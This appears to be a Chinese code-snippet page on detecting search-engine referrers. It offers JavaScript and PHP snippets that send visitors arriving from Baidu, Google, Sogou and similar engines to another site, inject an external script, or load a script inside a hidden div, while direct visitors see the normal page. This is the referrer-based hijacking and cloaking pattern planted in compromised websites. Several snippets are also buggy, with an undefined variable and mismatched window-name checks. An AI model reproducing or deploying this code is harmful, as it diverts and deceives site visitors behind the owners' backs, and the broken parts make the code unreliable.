js如何判断访问是来自搜索引擎(蜘蛛人)还是直接访问

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="跳转指定网址";
}

<script language="javascript">

var s=document.referrer

if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )

window.opener.navigate("//www.jb51.net")

</script>

<script type="text/javascript">
function elem(e,url){
var h=document.createElement(e);
h.src=url;
document.getElementsByTagName('head')[0].appendChild(h);
}

function refer(){
var ref=document.referrer;
var baidu=ref.indexOf("baidu");
var soso=ref.indexOf("soso");
var google=ref.indexOf("google");
if(baidu!=-1||soso!=-1||google!=-1){
elem("script","http://127.0.0.1/js.js");
}
}
refer()
</script>

<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if(!$referer == ''){
if(ereg('http',$referer)){
$referer = @eXPlode('.',$referer);
if(is_array($referer)){
$referer = $referer['1'];
if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
?>
<div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
</div><?php
}
}
}
}
?>